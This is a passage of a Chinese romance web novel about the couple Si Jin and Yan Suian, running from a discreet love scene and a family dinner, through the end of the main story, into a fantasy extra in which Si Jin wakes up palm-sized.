这回没等司谨说话,便被他搂着腰压在了床上。 外头的光线逐渐暗了下来,蓝调的天空与海水融为一体,映射出的氛围神秘而又充满梦幻,距离海边太近,风浪声一阵一阵袭来,将房间内的声响尽数掩盖。 司谨身体紧绷着,额角坠下细微的汗意,手指紧紧揪着枕头一角,嗓声中溢出的那些声音陌生到不像是他发出来的。 燕绥安实在是温柔过了头,以至于他最初难受时还没有任何别的想法,可在被人搂紧怀中,温柔地安慰着,随着一声又一声的宝贝,眼眶中却坠下了脆弱的眼泪。 指尖因为过于用力泛起青白,他起初还害怕抓疼了燕绥安的肩,可是不过多久便没心思再去想这些了。 他从来不知道自己的身体柔韧度可以到这种程度,眼泪落了一枕头,那种电流顺着后脊一簇簇上窜的感觉,使得他已经说不出一句话来。 燕绥安的眸中含着浓重情|欲,洗过澡后还未干燥的发丝随着运动再次变得湿润,黑色头发落在额前,却没有冲刷掉多少凶色。 不知过去多久,他俯身拥住怀中的人,急促的呼吸许久未平。 “……” 意识飘忽了很久,司谨再度回过神来时,身体已经变得清爽。 只是那种疲惫感依旧存在,他微微侧首看向阳台,燕绥安只穿着一条宽松的休闲裤站在那,外头的光线勾勒出他的高大身形,使得原先的那些画面又重新回到了脑海中。 脸颊重新升上了热意,他缓缓舒了口气,坐起身来。 谁知他刚动,燕绥安就像是察觉到了什么,转身回到了房间,手掌搭着他后背让他成功坐起身。 腰和腿都一片酸软,司谨脸色变了变,又抿住了嘴唇。 他实在是没好意思说话,那时候也好像真的太过头了。 “痛不痛?”燕绥安面露担忧,还有些心虚,“我检查过了,有一点伤,刚给你上过药了,我没收住。” 司谨一听脸又火烧火燎起来,他经历了整个过程,当然知道燕绥安已经足够温柔了,但他的条件本身就…… 不能再想了。 他忙打断:“我没事。” 一出声,这才发现嗓音也哑得可怕。 “喝点水。”燕绥安忙端过是水杯来。 司谨咕噜咕噜连喝了三杯,这才感觉舒服了些,小声说:“没事了,我们去吃饭吗?有点饿了。” 他还没忘记燕绥安特意准备了晚餐。 “好。” 燕绥安利索答应下来,又做出要抱他的动作。 “不用。”司谨脸颊涨红,觉得这样太奇怪了。 遭到拒绝,燕绥安摸摸鼻子,也有些尴尬,之后便跟个木头桩子一样杵在边上,等见着司谨一落地腿软才忙扶住。 “我没事。” 司谨更不好意思了,他就是不太习惯,刚才腿被架了好半天,都有点抽筋,走两步就能习惯了。 燕绥安这回没听他,始终牵着他的手,等到了外头,主动在阶梯下站定,微微俯身,回头示意:“上来。” “用不着。”司谨拒绝。 “我就是想背你,又没人看着,这都不行?”燕绥安回过头看他,眼中尽是失望和恳求,“宝宝。” 司谨没办法,其实也觉得走路挺不舒服的,牵动的地方有种说不上来的滋味,便乖乖趴在了他背上。 修长的腿微微曲起,被手掌紧紧掌住,他圈着燕绥安的脖颈,没走多久倒也放松了身体。 安排的用餐地点就在沙滩边上,周边摆着些许装饰,看着倒是很有氛围感,只是周边空无一人,司谨坐下以后莫名就觉得背后发凉。 管家在边上布置完便离开了,这里只剩下他们两人。 “宝宝。” 司谨抬起头:“嗯?” 燕绥安暗示:“要不要过来和我一起坐?” 司谨面露困惑:“你那边只有一个位置。” “坐我腿上。”燕绥安眨眨眼,狭长眼眸微微弯起,“不是不舒服吗?” 司谨不好意思,便道:“不用了,吃个饭不是就回去了吗?” 他说着拿起叉子,去卷面前的意面。 他做的这样刻意,燕绥安便也知道是说不动了,只得听话跟着他一起吃饭。 用餐期间两人都没怎么说话,气氛倒也安静温馨。 司谨饿惨了,好在菜量很是丰盛,足够他吃个饱。 用过餐,未等燕绥安说回去的事情,他便主动提出去海滩上走一走。 燕绥安自然是一切依着他,只是没走两步便又主动充当座驾,半劝半强制地将他又背上了后背。 挣扎无果,司谨索性舒舒服服靠在他宽阔的背上,说了没多久的话又开始困倦。 察觉到他没什么精力,燕绥安背着他往回走,路上又说了不少自己家里的事情,司谨对此也很感兴趣。 “你小时候好幸福。” 燕绥安轻笑一声:“我有的时候想,要是你愿意跟我去京市,我会不会在你成年的时候就跟你好上,还白浪费那么多年。” 司谨搂着他脖颈的手微微收紧,小声说:“哪有这种可能,你不要总乱想象。” “毕竟你以前那么乖,说不定让你叫什么都很轻松。”燕绥安像是觉得可惜,“少听了多少声哥哥。” 司谨轻笑一声:“你好烦。” 燕绥安喜欢听他这么小声抱怨,忍不住又道:“我这么背着你,就不觉得感动?” 司谨思考片刻,诚实回答:“感动。” 可还没等燕绥安再说什么,他便补充道:“很温暖,就像我小的时候,我爷爷也是这样背着我下山。” “……” 他说完以后,还轻轻收紧了搂着燕绥安脖颈的手臂,脸颊贴在燕绥安肩膀上蹭了蹭,吐息都轻盈落在了耳侧,叫人生不起起来。 算了。 燕绥安轻轻叹口气,将他轻轻往上颠了颠。 “抱好了,哥哥带你回家睡觉去。” 第48章 一周后回到京市,看着车水马龙的大都市,司谨有种恍若隔世的错觉。 马上又要开始忙碌起来,但他似乎还没从海岛那种静谧美好的环境中抽身出来,脑海中始终回荡着前几天他和燕绥安疯狂的行为。 别墅被他们折腾了个便,甚至他上飞机前腿还是软着的。 当天抵达后原本准备去餐厅看上一眼,中途却接到了封阿姨的电话,说是亲自下厨,让他们回去一趟。 两人回到家已经天黑了,院中还亮着灯,钟姨一见着他们便出了门,笑着将后备箱的礼物提着。 司谨和燕绥安回了几次家,现在倒也不觉得陌生。 进了门,封冉悦穿着围裙出来,露出点笑意:“回来了,饭也差不多了,小燕去楼上喊你爸。” 燕绥安看了眼司谨,捏了捏他的手:“去客厅坐会,我马上下来。” “好。” 司谨看着他上楼,却没有第一时间去客厅,而是进了厨房洗手。 他刚才一进门就看出来了,是封阿姨有事情要和他说,否则肯定会让钟姨上楼去喊燕叔叔,他这会儿便也顺着封阿姨的意思站在了她身边。 果然,封阿姨将炒好的菜盛出来,扭头便看向他。 “小谨,玩得开心吗?绥安路上没叫你不高兴吧?他平时一累起来就不爱说话,可烦人了。” 司谨回想一下,发觉燕绥安一路都说个没停,只得抿抿嘴唇摇头:“没有的,玩得很开心。” “那就好。” 封冉悦关切地看着他,“好像晒黑了点,不过也不明显,回头养一养又要白回来了,没晒伤吧?” “脖子后面有点,已经上过药了。” “哎哟,阿姨这里有专门治晒伤的,一会儿给你带一管回去。” “谢谢阿姨。” 司谨见着菜做的差不多了,正伸手想要帮忙,却被封阿姨被拦住了。 “好不容易回趟家动什么手,一会儿让钟姨来就好,趁着他们还没下来,阿姨跟你聊聊。” 说着,她擦干手上的水珠,亲昵地挽住司谨的手臂,带着他往外走。 司谨没有拒绝,跟着她到了客厅。 拉着他坐下,封冉悦才笑道:“其实阿姨是想和你说你姐姐的事情,听说你姐姐在海城做化妆师,有没有考虑过来京市进修?” 闻言,司谨怔住,隐约间察觉到什么,点了头:“是我二姐,她以后好像有这个计划,但是……” 话没有说下去,封阿姨自然明白了他的意思,道:“如果你二姐有想来京市发展的想法,倒是可以让燕尚给她安排,跟着他们公司的艺人化妆师学习,进步会更快。” 她说得含蓄,司谨一时间却不敢答应。 虽然他知道二姐是有野心的人,但追求的就是一步一个脚印,更何况她无数次说过,她现在的老师对她有恩,因为有了更好的待遇就离开,并不是她为人处世的风格。 想到这里,他觉得好像也没有必要再去问,思忖片刻还是委婉拒绝了。 封阿姨略有些失望,听过他的解释倒也接受了,轻笑道:“没关系,如果之后有需要,你随时找燕尚就行,反正咱们都是一家人了。” 她说这话时,手落在司谨的手背轻轻拍了拍,眉眼间含着不加掩饰的温柔和喜爱,感受不到一丝虚伪。 司谨的心跳重了重,不由得感动起来。 其实他也很惊讶,封阿姨居然还会特意留意他家人的事情,这让他感激,心中那些紧张感也逐渐消失,让他觉得这个家对他而言也没有那么陌生了。 不过多时,燕叔叔随着燕绥安下了楼,几人一同坐在餐桌边上吃晚饭,燕尚和燕玥因为工作忙都没能赶上。 司谨如今面对燕叔叔也不再忐忑,相处久了他发觉燕叔叔人很和善,虽然平时看着人淡淡的,但其实心很细,说话也很有分寸。 吃过饭封阿姨照例让他们在家休息,但这次被燕绥安给拒绝了。 “您就别费心收拾了,明早我得去躺公司,回去还能多睡会。” 封阿姨满脸不信:“你那公司还装修呢,大早上跑过去做什么?小谨明天忙不忙?没事的话明早阿姨带你出去玩。” “妈,您开什么玩笑?”燕绥安啧一声,牵住司谨的手,不让他回答,“我都不住家里,你还想让我们分居啊。” 封阿姨翻个白眼:“你也就这点本事了,整天黏着小谨。” “他是我对象,我不黏就该被别人黏了。” 燕绥安跟老妈抖完嘴,神清气爽带着司谨转身离开。 司谨听着对话都有些不好意思,走之前转头认认真真朝两位长辈告别:“叔叔阿姨再见,我下次再来。” 封阿姨忙笑着冲他说好,坐在沙发上看新闻的燕叔叔也点了点头。 出了院子坐上车,司谨回想着方才封阿姨和燕绥安斗嘴时脸上掩盖不住的笑意,忍不住也轻笑了声。 浴盐读.加“自己偷摸着乐什么呢?” 燕绥安凑过来,趁着系安全带的功夫在他脸颊上贴了贴。 司谨被他吓一跳,眼中笑意却未褪,认真说:“你有没有觉得,最近你和封阿姨的关系亲密了很多,她的心情都变好了。” “有吗?” 燕绥安回想片刻:“好像还真是。” 从他们搬到京市以后,封女士至今都没来过他们住的地方,完全不像从前那样,时不时往他屋子里跑,隔三差五打电话。 不过也有可能是换了个骚扰对象。 想着,燕绥安发车,怀疑问道:“宝宝,我妈给你打电话频繁吗?” 司谨刚系好安全带,抬起头想了想:“不频繁啊,我们出去玩的时候阿姨一次都没打过,就发了几条消息,叫我们注意安全。” “还真神奇。” 司谨也觉得,他忍不住想起来以前在海城的时候,从最开始一进门看见陌生女人在家里的惊慌,到之后习以为常,封阿姨那时候也的确给他造成了一些困扰。 现在却好了很多。 “也许是因为你逐渐成长,她就觉得不用那么紧张你,证明你成熟了。” “嗯,有道理。”燕绥安饶有兴致点点头,忽然侧首朝他看过来,“都说娶了老婆就能变成熟,果不其然。” 司谨脸颊涨红,下意识往窗外看过去,忍不住小声嘟囔一句。 “说我坏话?” 司谨:“没有。” “刚才嘟囔什么呢?”燕绥安显然不打算轻易放过他。 司谨心虚,扭过头来,若有所思道:“我只是觉得你一直都挺稳重的,只是封阿姨不了解你而已。” 又或许是因为,燕绥安从来没有想过要在母亲面前表现出那样的一面。 “在长辈面前不用成熟稳重,反正永远都是孩子。”燕绥安很轻地笑了笑,“但在老婆面前不一样。” 他说的太有道理,司谨竟然想不出来反驳的话,又因为老婆两个字憋红了一张脸。 回到家里,趁着燕绥安去洗漱的时间,司谨给二姐打了个电话,将今天封阿姨和他说的那些话重复了一遍,果然得到了和他猜测中大差不差的答案。 司淑美刚忙完,背景声有些嘈杂,但声音却很轻快。 “你帮我和阿姨传个感谢啊,谢谢她还想着我的事情,看来是对你很上心了。” “我知道的。”司谨有点不好意思,“当时我就觉得你不会接受的。” 司淑美像是怕被别人听见,捂着嘴压低声音说:“我老师真对我挺好的,原先要不是她带着我,恐怕这会儿我还在余城呢,反正你不用担心,我老师在京市也有自己的资源的。” 司谨明白她的意思:“好,我知道了姐。” “我这么听着,他们一家人对你都蛮好呢。”司淑美笑了笑,“你在京市好好干,回头姐有假了带朋友来你餐厅捧场。” 司谨站在落地窗前,用额头贴着冰凉的玻璃,从反光镜面中看见了自己不经意弯起的唇角弧度。 “知道啦,我努力经营,不给姐丢人。” “你这孩子……”司淑美被他给逗乐,没多久又想到什么好笑的,说:“我和你说,前几天妈给我打电话了,还问我端午回家不,我说忙着挣钱还债,没空,她一下就没话说了。” 司谨一听也止不住想笑:“那还挺好,我猜又是司鹏有事情。” 司淑美冷哼一声:“指定是,而且我也同她讲了别去骚扰你,我们姐弟已经达成共识了,以后不给家里交一毛钱,等他们用得着养老的时候咱们也不会推脱,但说多少就是多少,别想着总让我们补贴司鹏,我看就是大姐年底要和姐夫结婚了,他们担心以后没了饭票嘞。” 提起这一家子人,司谨又止不住叹口气。 “别担心了,我都同他们讲了,你为了帮我还债把工作都辞了,现在去京市找了个压榨人的工作整天干着,估摸着再过个十年咱们就能还完这个利滚利。” 司淑美跟他说着时,想到打电话时自己冲着对面的一通胡扯,又忍不住哈哈大笑起来,像是觉得很解气。 “在这跟我掰扯半天养老,我讲按照法律来,每个月几百块够他们花了,再多也没有,况且他们连年龄也还没到嘞,要我们交赡养费也得十来年以后,给他们气的,直接把电话就挂了。” 司谨听着,几乎能想象到二姐接电话时的语气,也止不住跟着乐了起来。 “大姐的时间定了吗?” “定下来了,大姐说让我们去余城那一场,老家的就是亲戚吃个饭,城里办的那场爸妈都不会来,到时候我们回去也方便,你回头把小燕带上让大姐也见一见。” 司谨心中不禁感慨:“好,我们肯定到的。” 聊了没多久,司淑美那边又要忙,便挂了电话。 司谨长舒一口气,站在窗前愣了好一会儿的神,想起来刚才二姐的嘱咐,便打开手机,将司鹏和司志义的账号都拉黑了,李美花的设置成了免打扰。 “宝宝,忙什么呢?” 燕绥安从后面搂上来,司谨才发现他不知什么时候已经洗完澡了。 微微扭头看向身后,他想了想就把刚才和二姐的通话简述给了他听。 燕绥安赞许点点头:“挺好啊,以后烦不着你了,二姐还是靠谱,这回得给他们气炸。” 司谨抿着嘴唇止不住笑意,又想到大姐结婚的事情,便同他说了。 本以为燕绥安要惊讶一下,谁料他毫不犹豫就点了头:“行,到时候咱们都把时间留出来,你大姐不是对你挺好,咱们肯定得到场送祝福。” 司谨心底一暖:“谢谢你。” 这话出口他就后悔了,果不其然,燕绥安眼睛一下眯了起来,语气危险:“又谢?” 司谨当即低头:“我错了。” 他只是习惯,已经努力改了,可还是忍不住。 “知道错了就主动点。”燕绥安不要脸地低下头来,微挑眉头示意。 司谨拿他没办法,主动凑过去亲他,可要贴上的时候,面前人却坏心眼地往后退了些。 “你……” 知道他是故意的,司谨只好又往前凑了凑,可依然是没亲到。 “等半天了。”燕绥安故意露出副幽怨表情,好像故意往后退的人不是他。 司谨鼓鼓脸颊,这回力气大了点,可身体往前倾脚下却没站稳,在燕绥安后退时猛地撞进了他怀里。 像是早等着这个结果,燕绥安娴熟地将他往怀里一捞,托着他的大腿把人抱进怀里,跟个流氓似的侧首往他脸上又重重亲了一口。 “难得投怀送抱,也不亏。” 司谨就知道会这样,倒也不惊讶,习惯性搂住他的脖颈,被他亲完又蹭住脖颈,被那发丝扫得发痒,忍不住直笑。 等发觉进了浴室,他这才变了脸色。 “你不是洗过澡了?” 砰的一声,燕绥安反手关上门,封闭浴室中低沉声线暗哑。 “没关系,再洗一次。” “……”- 对于餐厅的经营,司谨还有很多不懂的地方,平时闲着没事的时候便和程姐一起外出学习,在餐厅的时间逐渐不固定起来,但生意始终都还不错。 更新出去的第二本书成绩比他想象中要好很多,漫长的连载期过去,完结当天他主动请客,带着燕绥安出去吃饭。 燕绥安最近不算太忙,吃饭时很有精神,庆祝过后便忍不住开始打听他什么时候开始下一本,这活跃劲让司谨觉察出不对,好话说了一大堆,总算让燕绥安妥协,把读者号交了出来。 司谨一看ID就惊了:“不想上班只想睡觉?这个人是你?” 随手起的名字被这么喊出来,让燕绥安也有了难得的羞赧,只是过会儿便理直气壮点了头。 “嗯哼。” 司谨满脸震惊,还带着点儿感动:“你是我的榜一诶。” 他无数次在章节后面打下感谢打赏的话,每一次都有燕绥安的账号。 “那当然,”燕绥安傲娇道:“还总有人跟我抢,要不是怕打赏金额太大被你发现,我让他零头都赶不上。” 不过即便他努力收着,司谨这本新书也已经是全站年度打赏榜第一名了。 既然已经被发现了,那不如…… 他刚动这个心思,就被司谨给看穿了表情。 “别浪费钱了,他肯定追不上你。” 有了后面这句话,燕绥安才放下心来,跟他讨价还价:“那如果他们继续往上砸,我还得继续。” “知道了。” 司谨只想暂时稳住他,这会儿怕他继续想这件事,看着吃得差不多了,索性提出去附近转一转。 “南巷那边开了夜市,走走顺便消食。” 燕绥安向来不会拒绝这种提议,当即便拉着他下楼朝着那方向去了。 夜市人很多,但吃的东西也很丰富,司谨没走多久莫名就馋了。 “你想不想吃水果捞?看着还挺新鲜。” 燕绥安朝那方向看一眼,摊子是挺新鲜干净的,前面围着的人也很多。 “我去买,你在这等我,别过去挤了。” “好吧。” 司谨向来听他的话,乖乖站在没什么人的草坪边上等,只是盯着那方向看了没多久,便被一股香味吸引了。 原来是边上的锅盔出炉,摊主正将一个个装袋,油炸香气传出来,莫名让司谨想起来以前学校门口卖的烧饼。 “我要一个。” “好嘞。” 摊主利索给他打包了一个,司谨拿着就直接走了。 手心被纸袋里的锅盔捂暖,他低垂着眼眸走到没人的位置,脑海中莫名回荡起了在镇上读书的时光。 有一回因为作业太多,没顾得上去村口给司志义买烟,以至于司志义生了大气,不让他吃晚饭。 第二天早上起来去上学,灶上放着几个红薯,是让他们自己做,但他起得晚已经没空耽误了,便空着肚子去上学。 走在路上肚子太饿,总觉得有人跟着自己,一害怕就没忍住抹了眼泪,等到了学校外头的斜坡,恰巧又遇见买早餐的大娘推着车往上走,他习惯性上去帮忙,等到了坡顶上,手上就多了两个热腾腾的韭菜肉馅大烧饼,一个有他脸那么大。 他心中感动,又忍不住红了眼眶,乖乖站在校门口吃掉早餐,周围人多起来,他总觉得街对面有人盯着他,可是着急着进学校去开门,他也顾不上再去看。 抓着手上的锅盔,司谨低头咬了一口,眼眶莫名有点酸涩。 其实口感并不相似。 不远处有人朝他走过来,抬起头对上一双狭长明亮的眼眸,恍惚间仿佛同记忆中那双隔着破旧长街望过来的人重合上了。 “椰奶水果捞,没放芒果。”燕绥安凑过来,瞧见他手上的东西,“锅盔?好吃吗?” 司谨抬起头看向他,笑了笑:“没有烧饼好吃。” 燕绥安先是一怔,继而明白了他的意思,眸中蓄起温柔笑意。 “其实烧饼也没什么营养,那时候我最想把你带回家里,让钟姨给你多做点营养餐,好让你不那么瘦,做一个幸福的小朋友。” 司谨鼻尖微酸,上前一步钻进他怀里,好半天抬起头来,一双黑白分明的眼眸在昏暗环境下散发着湿润微光。 “我现在就觉得很幸福了。” 燕绥安缓缓舒出一口气,俯身把他揽进怀里,柔软的温暖身躯让他知道这一切都是真实的。 在他第一次见到那个瘦小的、胆怯小心的司谨时,就想要像这样紧紧把他拥进怀里了。 他低下头,用力捉住司谨的手,同他十指交扣,语气郑重。 “我们会永远幸福的,我保证。” 司谨眼眸中闪烁着淡淡泪光,回应是同样握紧了他的手。 “我也保证。” ——正文完—— 第49章 来到京市的第二年,同性恋婚姻法条终于得以推行,嗅到风声后第一个开始起哄的便是最近频频赶往京市的裴落。 他闹着办所谓的“单身派对”,实际只是给自己创造一个美好的艳遇环境。 正巧宋晓西和司淑美也得了空,司谨索性便将曾平安和陈军都喊上了,当天晚上众人玩的很开心,他这一年来忙碌于工作,看着熟悉的朋友家人都在身边,倒也觉得放松,忍不住多喝了几杯。 燕绥安被裴落拽走,不知过去说了什么,司谨也顾不上他,同二姐一起去露台坐着透风,脑子被酒气熏得发晕,思绪断断续续连不到一起,总觉得身上发烫。 司淑美靠在躺椅上,有一搭没一搭跟他聊着两个月前大姐的婚礼。 “我听说姐夫准备在余城买房,回头要是乔迁咱们还得包个红包过去。” 司谨脑子迷迷糊糊,听了这话却很认真点了点头,强忍着眩晕找出手机,将这一条记在了自己的备忘录上。 刚记录完,后面不知哪伸过来一条手臂捞住他的脖颈,笑着贴近:“这密密麻麻的,大作家辛苦啊,都是记录的灵感吧。” 听出是宋晓西的声音,司谨笑着将手机关上,抬起头果然瞧见他醉醺醺往边上一靠。 “哎呀,赶紧趁着你们家的还没过来聊两句,一会儿又得把你绑走了。” 司谨无奈:“你醉成什么样了,一会儿去楼上休息吧,裴落提前定了房间。” “聊两句嘛,过几天又要回海城,指不定什么时候再见呢。”宋晓西说着,歪过脑袋来仔仔细细打量他,好半天才满意似的点了点头。 “挺好,感觉来京市以后人都精神不少,二姐,你说是不是有老板范了?” 司淑美闻言哈哈大笑,说:“我们司谨在我这永远是个弟弟,小孩儿。” 宋晓西被逗乐了,伸手过来捏捏司谨柔软的脸颊肉,司谨只觉无奈,跟着一起笑了两声,又觉得头发起了晕。 “不舒服啊?”宋晓西表情变得关切,“我看你才是真得去休息了。” “我没事。” 司谨正硬着头皮逞强,脸上就落了一只粗糙滚烫的手,在他脸颊上轻轻抚过,是很熟悉的触感。 用不着抬头他就知道是谁来了。 “时间不早了,我们回家。”燕绥安低沉的声线在头顶响起,继而又转向了两侧的人,将房卡递过去,“累了直接上去休息就行,我们先走了。” “行,改天再见。” 司谨迷糊招招手,就被燕绥安捞着腰揽怀里,半搂半抱走了。 上了车,司机在前头开着,燕绥安将隔板升起来,这才一把将人抱起来放在腿上,亲密无间的抱着。 司谨脑子不太清醒,意识到两人的动作却还下意识推他,“在车上……” “看不见。”燕绥安搂着他,目光落在那湿软红润的嘴唇上,又一下冒起了火,结结实实扣住他的后脑勺,把人给吻住了。 “唔。” 司谨鼻子呼吸声重了些,但却很听话地把嘴张开了让他进去。 在车上燕绥安终究还是不打算多做什么,知道司谨脸皮薄,硬是等回到家才敢开始放肆。 司谨喝醉了又乖又可爱,被他哄着喊了不少平时清醒时不好意思说出口的称呼,惹得燕绥安有些收不住。 夜深下来,他把已经昏沉睡过去的人清洗干净,抱在怀中不情愿撒手,想到明早自己又要开始忙工作,就觉得不满足。 伸手揉了揉司谨柔软滑嫩的脸颊,燕绥安忍不住叹口气,凑下去又吻了吻他的额角。 要是他老婆能变小多好,揣在口袋里跟着他出去玩,想了就找出来看一看。 这幼稚的想法险些把他自己逗笑,半晌还是将人严丝合缝圈进自己怀里,安安稳稳闭上眼睛陷入了沉睡- 一夜过去,床头铃声响起,床上的人微微蹙眉,有些不耐烦。 他听出这铃声是司谨的手机,害怕把熟睡的人给吵醒,只得睁开眼从床头取过手机,看见上头的来电人是司淑美,便接通了。 “小谨。”对头传来司淑美的声音,“你醒了没有?” 燕绥安往床上一靠:“二姐,是我,司谨还在睡,我一会……” 话还未说完,他发觉手摸了个空,朝边上看过去,却发觉边上不知什么时候已经没了人。 难不成已经起床了? 昨晚累成那样,这么早跑起来做什么。 司淑美听见是他愣了一下,继而便笑了:“行,那我晚点再打过来。” “好。” 燕绥安脑子一片空白,将电话挂了,也没顾得上什么,着急忙慌起身穿上衣服往外头走。 他心底没来由泛起一阵急躁,这会儿也没发觉起身以后身边的被子微微起伏,有颗小小的脑袋从里头钻出来,瞧见外头的情况以后小脸上满是懵然。 “宝宝?” 客厅厨房次卧转了一圈,燕绥安没找着人,走到玄关发现包和鞋也都在,一时间困惑了。 他转身往房间里走,又进了浴室里头,却还是没找着人。 “哪去了?” “燕绥安。” 很轻很小的声音从身后传来,燕绥安一怔,转头扫了眼。 空荡的房间里除了他以外就没其他人了。 声音从哪来的?闹鬼了? “我在床上。” 如果不是在最后关头看见被角边上堆着的睡衣上有一颗圆溜溜毛茸茸的脑袋在往外探,燕绥安恐怕都要觉得是自己幻听了。 他不可置信地走近,撑在床沿俯身看过去,只见司谨的条纹睡衣凌乱堆叠着,此时有个巴掌大的小人正坐在一团衣服中间,扯着布料遮住小小的身体,抬着脑袋看过来的时候露出那张他熟悉无比的面容,这会儿眼眶还微微泛着红,仿佛受到了惊吓要哭。 “宝宝?” 燕绥安睁大眼睛,单膝跪在床边,小心翼翼伸手把人拢进掌心里,连带着睡衣一起捧起来。 “你怎么变这么小了?” 司谨瘪着嘴,眼眶里泪花打转,“我也不知道,我睡醒就是这个样子了。” 他身体缩小了这么多,声音也变得比平时更软糯可爱,脸颊肉白皙柔软,让人想上手去捏一把。 燕绥安不禁心疼,忙用手指轻轻给他擦眼泪,可即便他力道已经放很轻了,司谨还是被他蹭到歪了身体,卷着睡衣差点滚落下手掌心。 他脸色一变,忙把人护着又放在了床上。 “宝宝,没事吧?” 司谨呆坐在一团衣服里,眼泪吧嗒吧嗒往下掉:“为什么我变成这样,怎么办啊?” 燕绥安心脏抽痛一下,抽了张纸巾捏成细条,轻轻给他擦眼泪,这会儿终于从混乱的思绪中回过神来,忙安慰道:“没事,你和我说说都发生了什么,我们想想办法。” 他说完看着司谨卷着睡衣袖口,露出小半个白皙肩膀,连忙给助理打了个电话,让他送几套衣服到家里。 “燕总,您说什么衣服?”对面的助理似乎没反应过来。 燕绥安正忙着哄自己宝贝,没耐心道:“随便什么衣服,巴掌大的那种娃娃叫什么?各种款式都买点,要面料舒服点的。” “啊?” 没等对面再问,燕绥安将电话挂了,转头去衣柜里头找了条丝巾和柔软帕子,给小司谨做了个简易的小斗篷罩住身体。 司谨呆坐在他手心里头,被他带着去浴室里头漱完口抵达餐厅,声音难过:“反正我睡了一觉,醒过来的时候就变成这样了……” 燕绥安表情也变得凝重,刚坐下就想起来自己昨天晚上睡前脑子里闪过的念头,一时间如遭雷劈。 该不会……是他的愿望应验了吧。 可他只是随便想想,不是真的要把老婆变成这样啊! 司谨被他放在沙发抱枕上面,这会儿低垂着脑袋满脸委屈,压根没察觉到燕绥安的不对。 “本来我今天还要去送二姐的。” 燕绥安心虚得不行,凑过去用手指揉了揉他的发顶,触手还是温热柔软的,悄然松了口气,说:“没事,老公带你去。” “二姐看见我这副样子,肯定会担心的。”司谨瘪着嘴,又想哭了,他现在看什么东西都很大,感觉特别恐怖。 燕绥安也觉得棘手,“那我去送二姐吧,就说你生病了,回头我把你揣在口袋里,不会被发现的。” 他说完,昨晚脑子里的想法骤然浮现,又让他眼神止不住飘忽起来。 司谨吸吸鼻子,也觉得没有别的办法,只好点头:“好吧。” “宝宝别担心,晚点我们去问下医生是什么情况,肯定让你变回来。”燕绥安能感受到他的不安,轻轻捏了捏他的小手。 “好。” 没多久助理到了,顺便带了份早餐。 燕绥安让他先去楼下车里等着,自个带着那一大袋衣服进了客厅,从里头挑挑拣拣找出了几套合适的。 “宝宝,喜欢哪套?” 司谨坐在枕头上,压根没有心思选,“都可以。” 燕绥安却饶有兴致比划了半天,最后选了一件毛茸茸的背带裤和上衣。 “来,换个衣服,咱们出去吃饭,吃完饭就去送二姐上飞机。” 司谨乖乖站起来把衣服穿上,小小的个子搭配那套衣服,就像是个漂亮的BJD娃娃,皱着小小的眉头,显得格外可爱。 燕绥安被萌了一脸,可压根不敢表现出来,小心翼翼又托着人去了茶几上,给他喂了几口粥点。 司谨变小了,也吃不下什么东西,很快就蔫巴下来。 “我吃饱了。” 燕绥安细心给他擦擦嘴,自己狼吞虎咽把剩下的给扫空了,回房间换了套衣服,临出门把人装在口袋里,特意在里头放了条手帕垫着,方便司谨随时踩着钻出脑袋来透气。 去机场的路上他始终维持着一个僵硬的姿势,生怕不小心把口袋里的人给压了。 到了地方,司机和助理都满脸困惑,看着老板一只手揣在口袋里下车,跟口袋里装了个鸡蛋生怕碎了似的。 什么蛋这么金贵?为什么不在路上吃了。 见着二姐,燕绥安将早早准备好的措辞说了,对方倒也没不满,无所谓笑道:“没事,他平时也忙,多休息休息是挺好的。” 司谨躲在口袋里,好半天才大着胆子踮起脚尖,从口袋里面探出了半个小脑袋。 这个角度看,二姐也好大啊,好像能把他给吃了。 “你平时……和小谨吵架吗?”司淑美忽然问。 “我们不吵架。”燕绥安如实回答。 他和司谨平时也没有太大的矛盾,有什么不高兴的聊两句就好了,从来不会把事情留着以后再说。 司淑美松了口气:“小谨他比较内向,心思也敏感,你要是对他有什么不满的地方可以……” “没有。” 司淑美一怔:“什么?” 燕绥安笑了笑:“我和他很好,二姐,你放心吧。” 其实按照年纪来说,燕绥安要比司淑美更大,但这声二姐说的却是利落。 有他这话,司淑美便也松口气。 “行,你们过好日子最重要,等着喝你们喜酒啊。” 燕绥安点点头,目送她进了安检,这才将手伸到口袋里头,捏了捏司谨的小手。 “……” 这种情况下,燕绥安压根不敢让司谨一个人待在家里,上班就更不用说了,于是便直接揣着口袋里的人去了公司。 进了办公室,他总算能把人掏出来,看着司谨坐在他手心上,小脸满是忧愁的模样,他忙安慰道:“宝宝不怕,我肯定找到办法把你变回来,我去联系一下医生,一会儿忙完这边的事情,带你去做个检查。” “好。” 司谨乖乖点头,被他放在了沙发上,试探着走了几步路,被柔软的沙发晃得弹来弹去。 但这会儿听着燕绥安在那边打电话,早上起来时的那种焦虑不安倒也褪去了不少,虽然他对于现状依旧感到惊讶不解。 低着头看了看等比例缩小的手,又动了动脚,盯着柔软鞋子看了好半天,司谨感觉自己就跟个娃娃似的。 为什么睡了一觉就变成这样呢?他明明什么都没做呀,难道是在做梦吗? 想着,他抬手捏了把自己的脸。 痛的。 忧愁了没多久,办公室的门被推开,裴落伸着懒腰进来,手上拿着份文件,见着燕绥安正背对着他在窗前打电话,便没打算打扰他,困倦地打个哈欠往沙发方向走去。 文件往桌上一放,他解开外套纽扣往沙发上坐,窗前的人却像是忽然被惊动了,猛地转过头来,不可置信地看着他。 “别坐——” 第50章 裴落被他吓了一跳,屁股差点没落在沙发上,可刚坐稳就被怒气冲冲过来的燕绥安一把扯了起来。 “你干什么呢?” 裴落冤枉极了:“我怎么了?坐一下你办公室的沙发都不行?你现在就这么不待见我?” 可燕绥安压根没心思搭理他,惊慌地往沙发上看,发觉那小身影正坐在抱枕顶上,这才长舒一口气,过去把人给捧在手心里头。 “吓死我了。” 司谨刚看见个黑影往自己面前坐,也被吓了一跳,这会儿抱住燕绥安的手指,眼眶里头晃着湿润水光。 裴落正要动怒,看清楚燕绥安手上会动的漂亮娃娃,脸色大变:“我靠!这什么东西?” “喊这么大声做什么?吓着人了。”燕绥安怒斥他。 裴落冤枉的不行,看着自己好兄弟捧着怀里的娃娃又哄又摸的,定睛一看才发现这玩意居然长得跟司谨一模一样。 “这怎么回事啊?” 司谨抱着燕绥安的手指,这会儿还没从惊惧中缓过神来。 燕绥安心疼的不行,瞥了裴落一眼,将事情简述了一遍,接着也不管对方一副见了鬼的表情,又转头去哄司谨了。 听着动静走远,裴落这才反应过来,快步追上去: “我靠,所以这小玩意是司谨?他能说话吗?怎么感觉跟演童话似的。” 